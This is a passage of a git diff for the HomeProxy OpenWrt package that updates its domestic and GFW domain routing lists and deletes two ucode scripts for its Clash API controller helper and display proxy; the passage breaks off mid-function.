zqgreen.com zqhuahui.com -zqhuwkc.com zqids.com zqin758.xyz zqjiese.com @@ -109938,7 +110164,6 @@ zrahh.com zran88.com zrblog.com zrblog.net -zrbn.ltd zrbx.com zrcaifu.com zrcbank.com @@ -109989,7 +110214,6 @@ zsbeike.com zsboai.com zsbqgz.com zsbsoft.com -zsbus.wiki zsbyw.com zsc-group.com zscbd.com @@ -110058,6 +110282,7 @@ zsmls.com zsmw.net zsmyy.com zsmz.com +zsph.com zspharm.com zsquant.com zsqx.com @@ -110102,6 +110327,7 @@ zsywang.com zsyxxc.com zsyyart.com zszk.net +zsznz.com zszq.com zszxsz.com zszyss.com @@ -110475,6 +110701,7 @@ zx990.com zxblinux.com zxbook.net zxbzr.com +zxc123zxc123.xyz zxchemgroup.com zxcmk.com zxcoder.com @@ -110602,7 +110829,6 @@ zyc123.com zyccst.com zycits.com zycitscn.com -zycjcrz.org zycmmt.com zyctd.com zyczg.com @@ -110639,14 +110865,12 @@ zyiis.net zying.net zyip.com zyiwater.com -zyixinx.com zyjhzyy.com zyjiajiao.com zyjjt.com zyjkwh.com zyjoygame.com zyjtgas.com -zyjthb.com zyjymall.com zyjyxx.com zyjyyun.com @@ -110656,6 +110880,7 @@ zykjct.com zykjgame.com zykjnet.com zykpic.com +zyktech.com zykths.com zyku.net zyl.me @@ -110710,6 +110935,7 @@ zyxr.com zyxxlyg.com zyxyfy.com zyxzyyy.com +zyyct.com zyydb.com zyydjk.net zyyfy.com @@ -110725,7 +110951,6 @@ zz-hh.com zz-invest.com zz.ci zz123456789.xyz -zz2024.com zz2z.com zz314.com zz34.com @@ -110790,6 +111015,7 @@ zzhfkm.com zzhybz.com zzicpa.com zzidc.com +zzimti.com zzjdgcxx.com zzjianyun.com zzjidi.com @@ -110830,12 +111056,14 @@ zzpzh.com zzqckj.com zzqfte.com zzqklm.com +zzqrgs3148.vip zzqss.com zzquan9.com zzqudu.com zzqxs.com zzqz2024.com zzqzz.com +zzr.cc zzrc.net zzrcw.net zzrmyy.com @@ -110857,7 +111085,6 @@ zzsmt.com zzsnewell.com zzspider.com zzsspnode.com -zzssptop.com zzsteel.com zzstep.com zzszbsw.com @@ -110919,6 +111146,7 @@ zzzhtc.com zzzj.com zzzla.com zzzlsh.com +zzzmap.com zzznkq.com zzzppp.com zzzqqp.com @@ -110930,586 +111158,3 @@ zzzyy.com zzzyyy.com zzzzaaaa.com zzzzzz.me -2mdn-cn.net -2mdn.net -a1.mzstatic.com -a2.mzstatic.com -a3.mzstatic.com -a4.mzstatic.com -a5.mzstatic.com -account-cn.alibabacloud.com -activate.activation-v2.kaspersky.com -activation-v2.geo.kaspersky.com -activation-v2.kaspersky.com -adcdownload.apple.com -adcdownload.apple.com.akadns.net -admob-cn.com -adservice.google.com -afcs.dell.com -ai.zhaomi.cn -alibaba.cdn.steampipe.steamcontent.com -amp-api-edge-lb-cn.itunes-apple.com.akadns.net -amp-api-edge-lb.itunes-apple.com.akadns.net -amp-api-edge.apps.apple.com -amp-api-edge.music.apple.com -amp-api-search-edge.apps.apple.com -amp-api-updates.apps.apple.com -amp-api.apps.apple.com -amp-api.media.apple.com -amp-api.music.apple.com -amp-api.podcasts.apple.com -aod-ssl.itunes.apple.com -aod.itunes.apple.com -api-edge.apps.apple.com -api.alibabacloud.com -api.blipsandchitz.me -app-analytics-services.com -app-measurement-cn.com -app-measurement.com -app-site-association.cdn-apple.com -appldnld.apple.com -appldnld.g.aaplimg.com -appleid.cdn-apple.com -apps.mzstatic.com -apps5.oingo.com -apptrailers.itunes.apple.com -avail.googleflights.net -azuremigrate.download.prss.microsoft.com -azuremigratetest.download.prss.microsoft.com -azurestackhub.download.prss.microsoft.com -azurestackhubuat.download.prss.microsoft.com -b.c2r.ts.cdn.office.net -bag-cdn.itunes-apple.com.akadns.net -bag.itunes.apple.com -beacons.gcp.gvt2.com -beacons.gvt2.com -beacons2.gvt2.com -beacons3.gvt2.com -bj1.api.bing.com -bookkeeper.itunes.apple.com -c.admob.com -c.android.clients.google.com -c.pki.goog -cache-management-prod.google.com -cache.pack.google.com -cbdstest.download.prss.microsoft.com -cdn-cn.apple-mapkit.com -cdn-cn1.apple-mapkit.com -cdn-cn2.apple-mapkit.com -cdn-cn3.apple-mapkit.com -cdn-cn4.apple-mapkit.com -cdn.ampproject.org -cdn.apple-mapkit.com -cdn.globalsigncdn.com.cdn.cloudflare.net -cdn1.apple-mapkit.com -cdn2.apple-mapkit.com -cdn3.apple-mapkit.com -cdn4.apple-mapkit.com -cds-cdn.v.aaplimg.com -cds.apple.com -cds.apple.com.akadns.net -cdsassets.apple.com -certs-lb.apple.com.akadns.net -certs.apple.com -checkin.gstatic.com -cl1-cdn.origin-apple.com.akadns.net -cl1.apple.com -cl2-cdn.origin-apple.com.akadns.net -cl2-cn.apple.com -cl2.apple.com -cl2.apple.com.edgekey.net.globalredir.akadns.net -cl3-cdn.origin-apple.com.akadns.net -cl3.apple.com -cl4-cdn.origin-apple.com.akadns.net -cl4-cn.apple.com -cl4.apple.com -cl5-cdn.origin-apple.com.akadns.net -cl5.apple.com -clickserve.cc-dt.com -clickserve.dartsearch.net -clickserver.googleads.com -client-api.itunes.apple.com -clientflow.apple.com -clientflow.apple.com.akadns.net -clientperipherals.dell.com -clientservices.googleapis.com -cma.itunes.apple.com -cn-smp-paymentservices.apple.com -cn.alibabacloud.com -cn.download.nvidia.com -cn.widevine.com -cn.windowssearch.com -collaborate.download.prss.microsoft.com -collaborateppe.download.prss.microsoft.com -communities.apple.com -configuration.apple.com -configuration.apple.com.akadns.net -connectivitycheck.gstatic.com -crashlyticsreports-pa.googleapis.com -crl-lb.apple.com.akadns.net -crl.apple.com -crl.globalsign.net -crl.kaspersky.com -crl.pki.goog -crls.pki.goog -csi.gstatic.com -cstat.apple.com -cstat.cdn-apple.com -ctdsb.clouddiffuse.xyz -ctldl.windowsupdate.com -cueme-api.quark.cn -customization-cdn.dell.com -dartsearch-cn.net -dc1-cert.ksn.kaspersky-labs.com -dc1-file.ksn.kaspersky-labs.com -dc1-pp.ksn.kaspersky-labs.com -dc1-st.ksn.kaspersky-labs.com -dc1.ksn.kaspersky-labs.com -dd-cdn.origin-apple.com.akadns.net -dds.dell.com -dejavu.apple.com -developer.microsoft.com -devimages-cdn.apple.com -devstreaming-cdn.apple.com -dg-meta.video.google.com -discussionschinese.apple.com -dl.dell.com -dl.google.com -dl.l.google.com -dnl-00.geo.kaspersky.com -dnl-01.geo.kaspersky.com -dnl-02.geo.kaspersky.com -dnl-03.geo.kaspersky.com -dnl-04.geo.kaspersky.com -dnl-05.geo.kaspersky.com -dnl-06.geo.kaspersky.com -dnl-07.geo.kaspersky.com -dnl-08.geo.kaspersky.com -dnl-09.geo.kaspersky.com -dnl-10.geo.kaspersky.com -dnl-11.geo.kaspersky.com -dnl-12.geo.kaspersky.com -dnl-13.geo.kaspersky.com -dnl-14.geo.kaspersky.com -dnl-15.geo.kaspersky.com -dnl-16.geo.kaspersky.com -dnl-17.geo.kaspersky.com -dnl-18.geo.kaspersky.com -dnl-19.geo.kaspersky.com -doubleclick-cn.net -doubleclick.net -download.developer.apple.com -download.microsoft.com -download.mlcc.google.com -download.tensorflow.google.com -download.visualstudio.microsoft.com -downloaddispatch.itunes.apple.com -dreamspark.download.prss.microsoft.com -dreamsparkuat.download.prss.microsoft.com -ea2cn-dev-outlet.dell.com -ea2cn-prod-outlet.dell.com -ea2cn-staging-outlet.dell.com -edge.geo.kaspersky.com -emoi-cncdn.bing.com -end-api.shallow.ink -end.shallow.ink -entitlements-edge.itunes.apple.com -experiments.apple.com -f.c2r.ts.cdn.office.net -fcs.dell.com -fides-pol.apple.com -firebase-settings.crashlytics.com -fontfiles.googleapis.com -fonts.googleapis.com -fonts.gstatic.com -fpinit.itunes.apple.com -fta.dell.com -ftaapj.dell.com -ftaemea.dell.com -ftasitapj.dell.com -g0.gstatic.com -g1.gstatic.com -g2.gstatic.com -g3.gstatic.com -gbxgateway-dev.dell.com -gbxgateway.dell.com -geetest.datasink.sensorsdata.cn -gog.qtlglb.com -gonglchuangl.net -gongyichuangyi.net -google-analytics-cn.com -google-analytics.com -googleadservices-cn.com -googleadservices.com -googleanalytics.com -googleapis-cn.com -googleapps-cn.com -googleflights-cn.net -googleoptimize-cn.com -googleoptimize.com -googlesyndication-cn.com -googlesyndication.com -googletagmanager-cn.com -googletagmanager.com -googletagservices-cn.com -googletagservices.com -googletraveladservices-cn.com -googletraveladservices.com -googlevads-cn.com -gs-loc-cn.apple.com -gs-loc.apple.com -gsp10-ssl-cn.ls.apple.com -gsp11-cn.ls.apple.com -gsp12-cn.ls.apple.com -gsp13-cn.ls.apple.com -gsp4-cn.ls.apple.com -gsp4-cn.ls.apple.com.edgekey.net.globalredir.akadns.net -gsp5-cn.ls.apple.com -gsp85-cn-ssl.ls.apple.com -gspe11-2-cn-ssl.ls.apple.com -gspe12-cn-ssl.ls.apple.com -gspe19-2-cn-ssl.ls-apple.com.akadns.net -gspe19-2-cn-ssl.ls.apple.com -gspe19-cn-ssl.ls.apple.com -gspe19-cn.ls-apple.com.akadns.net -gspe19-cn.ls.apple.com -gspe21-ssl.ls.apple.com -gspe35-ssl.ls.apple.com -gspe79-cn-ssl.ls.apple.com -gspe85-cn-ssl.ls.apple.com -gstatic-cn.com -gstaticadssl.l.google.com -gtm.oasisfeng.com -guzzoni-apple-com.v.aaplimg.com -guzzoni.apple.com -guzzoni.smoot.apple.com -hellofontpreview.oss-cn-beijing.aliyuncs.com -hellowebfonts.oss-cn-beijing.aliyuncs.com -hospital.pku.edu.cn -i.dell.com -i.pki.goog -images-cn-8.ssl-images-amazon.com -images-cn.ssl-images-amazon.com -images.apple.com.edgekey.net.globalredir.akadns.net -imasdk.googleapis.com -inappcheck-cn.itunes-apple.com.akadns.net -inappcheck-lb.itunes-apple.com.akadns.net -inappcheck.itunes.apple.com -init-kt.apple.com -init-p01md-lb.push-apple.com.akadns.net -init-p01md.apple.com -init-p01st-lb.push-apple.com.akadns.net -init-p01st.push.apple.com -init-s01st-lb.push-apple.com.akadns.net -init-s01st.push.apple.com -init.ess.apple.com -init.gc-lb.apple.com.akadns.net -init.gc.apple.com -init.itunes.apple.com -iosapps.itunes.apple.com -iosapps.itunes.g.aaplimg.com -ipcdn.apple.com -iphone-ld.apple.com -iphone-ld.origin-apple.com.akadns.net -is-ssl.mzstatic.com-cn-lb.itunes-apple.com.akadns.net -is1-ssl.mzstatic.com -is1.mzstatic.com -is2-ssl.mzstatic.com -is2.mzstatic.com -is3-ssl.mzstatic.com -is3.mzstatic.com -is4-ssl.mzstatic.com -is4.mzstatic.com -is5-ssl.mzstatic.com -is5.mzstatic.com -itacademy.download.prss.microsoft.com -itacademyuat.download.prss.microsoft.com -itunes-apple.com.akadns.net -itunes.apple.com -itunesconnect.apple.com -izattime.qcomgeo2.com -js-cdn.music.apple.com -km.support.apple.com -ksn-cinfo-geo.kaspersky-labs.com -ksn-cinfo.geoksn.kaspersky.com -ksn-crypto-info-geo.kaspersky-labs.com -ksn-crypto-kas-geo.kaspersky-labs.com -ksn-crypto-tcert-geo.kaspersky-labs.com -ksn-crypto-url-geo.kaspersky-labs.com -ksn-crypto-verdict-geo.kaspersky-labs.com -ksn-crypto-wifiplus-geo.kaspersky-labs.com -ksn-crypto-wifiplus.geoksn.kaspersky.com -ksn-dc1-cert.geoksn.kaspersky.com -ksn-dc1-file.geoksn.kaspersky.com -ksn-dc1.geoksn.kaspersky.com -ksn-file-geo.kaspersky-labs.com -ksn-file.geoksn.kaspersky.com -ksn-info-geo.kaspersky-labs.com -ksn-info.geoksn.kaspersky.com -ksn-kas.geoksn.kaspersky.com -ksn-mdr.geoksn.kaspersky.com -ksn-tcert-geo.kaspersky-labs.com -ksn-tcert.geoksn.kaspersky.com -ksn-url-geo.kaspersky-labs.com -ksn-url.geoksn.kaspersky.com -ksn-verdict-geo.kaspersky-labs.com -ksn-verdict.geoksn.kaspersky.com -lex.download.prss.microsoft.com -lexuat.download.prss.microsoft.com -lv.queniujq.cn -maps.apple.com -mbs.download.prss.microsoft.com -mdr.ksn.kaspersky-labs.com -mensura.cdn-apple.com -mesu-cdn.apple.com.akadns.net -mesu-china.apple.com.akadns.net -mesu.apple.com -misc-assets.itunes.apple.com -ml.cdn-apple.com -moocs.unipus.cn -mpnbenefits.download.prss.microsoft.com -mpnbenefitsrtl.download.prss.microsoft.com -mpnbenefitsrtluat.download.prss.microsoft.com -msdn.download.prss.microsoft.com -msdprod-ad.download.prss.microsoft.com -msproduct.download.prss.microsoft.com -music.apple.com -musicstatus.music.apple.com -mvod.itunes.apple.com -myapp.itunes.apple.com -myvs.download.prss.microsoft.com -nexus.dell.com -np-edge.itunes.apple.com -ntp.aliyun.com -ntp.tencent.com -ntp1.aliyun.com -ntp1.tencent.com -ntp2.aliyun.com -ntp2.tencent.com -ntp3.aliyun.com -ntp3.tencent.com -ntp4.aliyun.com -ntp4.tencent.com -ntp5.aliyun.com -ntp5.tencent.com -ntp6.aliyun.com -ntp7.aliyun.com -o.pki.goog -ocsp.apple.com -ocsp.pki.goog -ocsp2.apple.com -oemsoc.download.prss.microsoft.com -oemsocuat.download.prss.microsoft.com -officecdn.microsoft.com -officemkt.download.prss.microsoft.com -officemktuat.download.prss.microsoft.com -opencourse.pku.edu.cn -oscdn.apple.com -oscdn.origin-apple.com.akadns.net -osrelease.download.prss.microsoft.com -osxapps.itunes.apple.com -osxapps.itunes.g.aaplimg.com -p.cdn.persaas.dell.com -p00.upd.kaspersky.com -p01.upd.kaspersky.com -p02.upd.kaspersky.com -p03.upd.kaspersky.com -p04.upd.kaspersky.com -p05.upd.kaspersky.com -p06.upd.kaspersky.com -p07.upd.kaspersky.com -p08.upd.kaspersky.com -p09.upd.kaspersky.com -p1-juejin.byteimg.com -p10.upd.kaspersky.com -p11.upd.kaspersky.com -p12.upd.kaspersky.com -p13.upd.kaspersky.com -p14.upd.kaspersky.com -p15.upd.kaspersky.com -p16.upd.kaspersky.com -p17.upd.kaspersky.com -p18.upd.kaspersky.com -p19.upd.kaspersky.com -p2-juejin.byteimg.com -p3-juejin.byteimg.com -p3-novel.byteimg.com -p4-juejin.byteimg.com -p5-juejin.byteimg.com -p6-juejin.byteimg.com -p6-novel.byteimg.com -p7-juejin.byteimg.com -p8-juejin.byteimg.com -p9-juejin.byteimg.com -pagead-googlehosted.l.google.com -pancake.apple.com -pba0.apple.com -pd-nk.itunes.apple.com -pd.itunes.apple.com -performanceparameters.googleapis.com -pki-goog.l.google.com -play-edge.itunes.apple.com -play.itunes.apple.com -play.music.apple.com -podcasts.apple.com -podcasts.itunes.apple.com -probe.siri.apple.com -prod-controlbe.floonet.goog -prod-databe.floonet.goog -prod-support.apple-support.akadns.net -prod.databe.floonet.goog -publicassets.cdn-apple.com -qiao-cn.com -qpx.googleflights.net -recaptcha-cn.net -recaptcha.net -redirector.bdn.dev -redirector.c.chat.google.com -redirector.c.mail.google.com -redirector.c.pack.google.com -redirector.c.play.google.com -redirector.c.youtubeeducation.com -redirector.gcpcdn.gvt1.com -redirector.gvt1.com -redirector.offline-maps.gvt1.com -redirector.snap.gvt1.com -redirector.xn--ngstr-lra8j.com -refresh-bkg.activation-v2.kaspersky.com -rsm.download.prss.microsoft.com -s.mzstatic.com -s00.upd.kaspersky.com -s01.upd.kaspersky.com -s02.upd.kaspersky.com -s03.upd.kaspersky.com -s04.upd.kaspersky.com -s05.upd.kaspersky.com -s06.upd.kaspersky.com -s07.upd.kaspersky.com -s08.upd.kaspersky.com -s09.upd.kaspersky.com -s1.mzstatic.com -s10.upd.kaspersky.com -s11.upd.kaspersky.com -s12.upd.kaspersky.com -s13.upd.kaspersky.com -s14.upd.kaspersky.com -s15.upd.kaspersky.com -s16.upd.kaspersky.com -s17.upd.kaspersky.com -s18.upd.kaspersky.com -s19.upd.kaspersky.com -s2.mzstatic.com -s3.mzstatic.com -s4.mzstatic.com -s5.mzstatic.com -safebrowsing-cache.google.com -safebrowsing.googleapis.com -scene7-cdn.dell.com -sdx.microsoft.com -se-edge.itunes.apple.com -se2.itunes.apple.com -search.itunes.apple.com -seed-sequoia.siri.apple.com -seed-swallow.siri.apple.com -seed.siri.apple.com -sequoia.apple.com -service.urchin.com -sf-api-token-service.itunes.apple.com -sh-pod2-smp-device.apple.com -shazam-insights.cdn-apple.com -shell.cdn.office.net -si.cdn.dell.com -sm.dell.com -smp-device-content.apple.com -snp.cdn.dell.com -snpi.dell.com -software.download.prss.microsoft.com -sp.itunes.apple.com -speedysub.music.apple.com -ss.bjmu.edu.cn -ssl-google-analytics.l.google.com -ssl.gstatic.com -staging-controlbe.floonet.goog -staging-databe.floonet.goog -staging.databe.floonet.goog -static.gc.apple.com -statics.teams.cdn.office.net -status.alibabacloud.com -stocks-sparkline-lb.apple.com.akadns.net -stocks-sparkline.apple.com -store.apple.com -store.apple.com.edgekey.net -store.apple.com.edgekey.net.globalredir.akadns.net -store.storeimages.apple.com.akadns.net -store.storeimages.cdn-apple.com -storecorefulfillment.download.prss.microsoft.com -storeedge.microsoft.com -storeedgefd.dsx.mp.microsoft.com -streamingaudio.itunes.apple.com -study.163.com -su.itunes.apple.com -support-china.apple-support.akadns.net -support.apple.com -supportassist.dell.com -surface.download.prss.microsoft.com -surface.downloads.prss.microsoft.com -swallow-apple-com.v.aaplimg.com -swallow.apple.com -swcatalog-cdn.apple.com.akadns.net -swcatalog.apple.com -swcdn.apple.com -swcdn.g.aaplimg.com -swdist.apple.com -swdist.apple.com.akadns.net -swscan-cdn.apple.com.akadns.net -swscan.apple.com -sylvan.apple.com -sync.itunes.apple.com -tac.googleapis.com -tf-feedback.itunes.apple.com -time.amazonaws.cn -time.izatcloud.net -time.xtracloud.net -tj-pod1-smp-device.apple.com -tj-pod2-smp-device.apple.com -tj-pod3-smp-device.apple.com -tools.google.com -tp.louisvuitton.com -universal-activity-service.itunes.apple.com -update.crashlytics.com -update.googleapis.com -updates-http.cdn-apple.com -updates-http.cdn-apple.com.akadns.net -updates.cdn-apple.com -uplaypc-s-ubisoft.cdn.ubi.com -upp.itunes.apple.com -valid.apple.com -valid.origin-apple.com.akadns.net -vlportal.download.prss.microsoft.com -volic.download.prss.microsoft.com -vscode.download.prss.microsoft.com -vz.download.prss.microsoft.com -wear.googleapis.com -weather-data.apple.com -weather-data.apple.com.akadns.net -weather-map.apple.com -weather-map2.apple.com -weatherkit.apple.com -windbg.download.prss.microsoft.com -www-csb.dell.com -www-google-analytics.l.google.com -www-googletagmanager.l.google.com -www.amd.com -www.apple.com -www.apple.com.edgekey.net.globalredir.akadns.net -www.dell.com -www.destinationurl.com -www.entrust.cn -www.gstatic.com -www.pxcc.com -www.recaptcha-cn.net -www.recaptcha.net -www.support.apple.com -xp.apple.com -xtratime.qcomgeo2.com -xz.pphimalayanrt.com diff --git a/luci-app-homeproxy/root/etc/homeproxy/resources/china_list.ver b/luci-app-homeproxy/root/etc/homeproxy/resources/china_list.ver index a8225c777..5d7e941a2 100644 --- a/luci-app-homeproxy/root/etc/homeproxy/resources/china_list.ver +++ b/luci-app-homeproxy/root/etc/homeproxy/resources/china_list.ver @@ -1 +1 @@ -202608102230 +202609130005 diff --git a/luci-app-homeproxy/root/etc/homeproxy/resources/gfw_list.txt b/luci-app-homeproxy/root/etc/homeproxy/resources/gfw_list.txt index 43ee8af22..d149da7b2 100644 --- a/luci-app-homeproxy/root/etc/homeproxy/resources/gfw_list.txt +++ b/luci-app-homeproxy/root/etc/homeproxy/resources/gfw_list.txt @@ -4,6 +4,8 @@ 1000giri.net 10beasts.net 10musume.com +123av.com +123av.me 12bet.com 12vpn.com 12vpn.net @@ -213,18 +215,15 @@ aoxvpn.com apartmentratings.com apartments.com apat1989.org -api-gl.lbkrs.com api-secure.recaptcha.net api-verify.recaptcha.net api.ai -api.futunn.com -api.lbkrs.com api.moomoobull.com api.palworldgame.com api.pureapk.com api.recaptcha.net +api.shuaiapi.com api.steampowered.com -api5.futunn.com apiary.io apigee.com apk.support @@ -562,6 +561,7 @@ break.com breakgfw.com breakingtweets.com breakwall.net +briarproject.org brill.com brizzly.com broadpressinc.com @@ -667,7 +667,6 @@ cdjp.org cdn-images.mailchimp.com cdn-telegram.org cdn.arstechnica.net -cdn.futustatic.com cdn.jwplayer.com cdn.printfriendly.com cdn.seatguru.com @@ -704,6 +703,7 @@ character.ai chat.com chat.lmsys.org chatgpt.com +chatgpt.site chatpdf.com chaturbate.com checkgfw.com @@ -816,7 +816,6 @@ cn.fmnnow.com cn.sandscotaicentral.com cn.shafaqna.com cn.theaustralian.com.au -cn.uptodown.com cna.com.tw cnbbnews.wordpress.com cnbeta.com.tw @@ -897,6 +896,7 @@ css.pixnet.in csuchen.de csw.org.uk ct.org.tw +ctee.com.tw ctinets.com ctinews.com ctinsider.com @@ -1044,7 +1044,6 @@ dougscripts.com doujincafe.com dowjones.io download.dappcdn.com -download.futunn.com dpool.top dpp.org.tw dpr.info @@ -1449,6 +1448,7 @@ geti2p.net getlantern.org getmalus.com getmdl.io +getmonero.org getoutline.org getsession.org getsync.com @@ -1838,6 +1838,7 @@ help.byspotify.com helpeachpeople.com helpster.de hembed.com +hentai.tv heqinglian.net heritage.org herokuapp.com @@ -1863,6 +1864,7 @@ himalayan-foundation.org himemix.com hindustantimes.com hinet.net +historylines.net hitbtc.com hitomi.la hive.blog @@ -1879,6 +1881,7 @@ hkcnews.com hkcoc.com hkcoc.weather.com.hk hkdc.us +hkej.com hket.com hkfaa.com hkgalden.com @@ -2205,6 +2208,7 @@ kinmen.org.tw kinmen.travel kinokuniya.com kiwi.kz +kiwix.org kk-whys.co.jp kkbox.com kknews.cc @@ -2300,6 +2304,7 @@ linkedin.com linktr.ee linux.do linux.org.hk +linux.sb liquiditytp.com liquidvpn.com listennotes.com @@ -2312,6 +2317,7 @@ liveleak.com livemint.com livestream.com livevideo.com +livingatlas.arcgis.com livingstream.com lmarena.ai localbitcoins.com @@ -2353,7 +2359,6 @@ lvv2.com lyfhk.net lzjscript.com lzmtnews.org -m.hkgalden.com m.me m.moegirl.org macgamestore.com @@ -2399,6 +2404,7 @@ mattwilcox.net maven.neoforged.net mcadforums.com mcaf.ee +mceindex.com mcusercontent.com md-t.org me.me @@ -2643,6 +2649,7 @@ nga.mil nhentai.net nic.cz.cc nic.gov +nicoseiga.jp nicovideo.jp nightswatch.top nikke-en.com @@ -2728,6 +2735,7 @@ oklink.com okpool.me okx.com old.honeynet.org +oldmapsonline.org olehdtv.com olelive.com olevod.com @@ -2759,12 +2767,8 @@ ooni.org open.firstory.me openai.com openapi-quote.longbridge.cn -openapi-quote.longbridge.com openapi-trade.longbridge.cn -openapi-trade.longbridge.com -openapi.futunn.com openapi.longbridge.cn -openapi.longbridge.com openart.ai opencritic.com opendemocracy.net @@ -3020,9 +3024,8 @@ qmp4.com qoos.com qq.co.za qstatus.com -qtcard.futunn.com -qtcardfthk.futufin.com qtrac.eu +quakemachinex.com questvisual.com quitccp.org quiz.directory @@ -3113,6 +3116,7 @@ rlwlw.com rmbl.ws roblox.com robustnessiskey.com +roc-taiwan.org rocket-inc.net rocket.chat rocksdb.org @@ -3122,6 +3126,7 @@ rolia.net rolsociety.org ronjoneswriter.com rou.video +roushuwo.com rsdlmonitor.com rsf-chinese.org rsf.org @@ -3147,6 +3152,7 @@ rxhj.net s-cute.com s.yimg.com s3-ap-northeast-1.amazonaws.com +s3.dualstack.us-west-2.amazonaws.com sacks.com sacom.hk sadistic-v.com @@ -3166,6 +3172,7 @@ savetibet.de savetibet.org savetibetstore.org saveuighur.org +sb.sb sbme.me sbti.unun.dev schema.org @@ -3422,7 +3429,7 @@ supchina.com superpages.com supervpn.net superzooi.com -support.futunn.com +supjav.com supremecourt.gov suprememastertv.com surfeasy.com @@ -3452,10 +3459,12 @@ taa-usa.org taaze.tw taedp.org.tw tagwalk.com +taiav.com tails.net taipeisociety.org taipeitimes.com taisounds.com +taiwanembassy.org taiwanhot.net taiwanjustice.net taiwanncf.org.tw @@ -3684,8 +3693,6 @@ totalvpn.com tou.tv tpi.org.tw tracfone.com -trade.futunn.com -trade.longportapp.com tradeup.com tradingview.com translate.goog @@ -4092,6 +4099,7 @@ wiktionary.org willw.net wilsoncenter.org windscribe.com +windy.com wingamestore.com wingy.site wionews.com @@ -4134,9 +4142,11 @@ woyaolian.org wp.com wplace.live wpoforum.com +write.as writesonic.com wsj.com wsj.net +wtfpass.com wufafangwen.com wufi.org.tw wujieliulan.com @@ -4182,6 +4192,7 @@ x.co x.com x.company x3guide.com +x86.fr xbabe.com xbookcn.com xbtce.com diff --git a/luci-app-homeproxy/root/etc/homeproxy/resources/gfw_list.ver b/luci-app-homeproxy/root/etc/homeproxy/resources/gfw_list.ver index a8225c777..5d7e941a2 100644 --- a/luci-app-homeproxy/root/etc/homeproxy/resources/gfw_list.ver +++ b/luci-app-homeproxy/root/etc/homeproxy/resources/gfw_list.ver @@ -1 +1 @@ -202608102230 +202609130005 diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/clash_api.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/clash_api.uc deleted file mode 100644 index 918403b26..000000000 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/clash_api.uc +++ /dev/null @@ -1,116 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy Clash API controller 地址 helper。 - */ - -'use strict'; - -import { cursor } from 'uci'; - -function is_empty(value) { - return !value || value === 'nil' || (type(value) in ['array', 'object'] && length(value) === 0); -} - -export function first_value(value) { - return (type(value) === 'array') ? value[0] : value; -}; - -export function strip_cidr(value) { - return replace(trim(first_value(value) || ''), /\/.*$/, ''); -}; - -export function is_ipv4_address(value) { - return !!match(value || '', /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/); -}; - -export function is_portable_bind_host(value) { - value = lc(trim(value || '')); - - return value === 'localhost' || - value === '0.0.0.0' || - value === '::' || - value === '[::]' || - value === '::1' || - value === '[::1]' || - !!match(value, /^127\./); -}; - -export function append_ipv4_address(addresses, value) { - value = strip_cidr(value); - - if (is_ipv4_address(value) && index(addresses, value) === -1) - push(addresses, value); -}; - -export function local_ipv4_addresses(command_output) { - const netuci = cursor(); - let addresses = []; - - netuci.load('network'); - - let lan_ipaddr = netuci.get('network', 'lan', 'ipaddr'); - if (type(lan_ipaddr) === 'array') { - for (let addr in lan_ipaddr) - append_ipv4_address(addresses, addr); - } else { - append_ipv4_address(addresses, lan_ipaddr); - } - - const ip_addresses = (type(command_output) === 'function') - ? (command_output('/sbin/ip -4 -o addr show scope global') || '') - : ''; - for (let line in split(ip_addresses, /\n/)) { - let matched = match(line, /[ \t]inet[ \t]+([0-9.]+)(\/[0-9]+)?[ \t]/); - if (matched) - append_ipv4_address(addresses, matched[1]); - } - - return addresses; -}; - -export function parse_controller(value, default_port) { - value = trim(replace(first_value(value) || '', /^https?:\/\//, '')); - value = replace(value, /\/.*$/, ''); - - let matched = match(value, /^\[([^\]]+)\](:([0-9]+))?$/); - if (matched) - return { host: matched[1], port: int(matched[3] || default_port) }; - - matched = match(value, /^([^:]+):([0-9]+)$/); - if (matched) - return { host: matched[1], port: int(matched[2]) }; - - return { host: value, port: int(default_port) }; -}; - -export function format_controller(host, port) { - return sprintf((index(host, ':') >= 0) ? '[%s]:%d' : '%s:%d', host, port); -}; - -export function normalize_local_controller_option(uci, config, section, local_addresses, fallback_host, option, default_port, set_when_empty) { - let value = uci.get(config, section, option); - - if (is_empty(value)) { - if (!set_when_empty) - return null; - - let next = format_controller(fallback_host, default_port); - uci.set(config, section, option, next); - return next; - } - - let controller = parse_controller(value, default_port), - host = controller.host; - - if (is_empty(host)) - host = fallback_host; - else if (is_portable_bind_host(host)) - return null; - else if (!is_ipv4_address(host) || index(local_addresses, host) !== -1) - return null; - - let next = format_controller(fallback_host, controller.port || default_port); - uci.set(config, section, option, next); - return next; -}; diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/clash_api_proxy.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/clash_api_proxy.uc deleted file mode 100755 index ad2528961..000000000 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/clash_api_proxy.uc +++ /dev/null @@ -1,963 +0,0 @@ -#!/usr/bin/ucode -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * Clash API display proxy for HomeProxy dashboards. - */ - -'use strict'; - -import * as socket from 'socket'; -import * as uloop from 'uloop'; -import { cursor } from 'uci'; -import { urldecode, urlencode } from 'luci.http'; -import { parse_controller } from '/etc/homeproxy/scripts/clash_api.uc'; - -const uci = cursor(); -const uciconfig = 'homeproxy'; -const ucimain = 'config'; -const shadowtls_suffix = '-out-shadowtls'; -const filter_timeout = 10000; -const fallback_delay_limit = 5; -const upstream_read_timeout = 5; // 秒;单次上游读取超时 - -// Resource limits -const MAX_CONNECTIONS = 64; -const MAX_REQUEST_BUFFER_SIZE = 256 * 1024; // 256KB -const MAX_RESPONSE_BUFFER_SIZE = 8 * 1024 * 1024; // 8MB -const CLIENT_IDLE_TIMEOUT = 30000; // 30 seconds - -let next_id = 1; -let connections = {}; -let target, listen, server; - -uci.load(uciconfig); - -function isEmpty(value) { - return !value || value === 'nil' || (type(value) in ['array', 'object'] && length(value) === 0); -} - -function toArray(value) { - if (type(value) === 'array') - return value; - else if (isEmpty(value)) - return []; - - return [ value ]; -} - -function deriveProxyController(target) { - target = parse_controller(target || '127.0.0.1:9090', 9090); - - if (isEmpty(target.host)) - target.host = '127.0.0.1'; - - return { host: target.host, port: 9091 }; -} - -function sendAll(sock, data) { - let offset = 0; - - while (offset < length(data)) { - let sent = sock.send(substr(data, 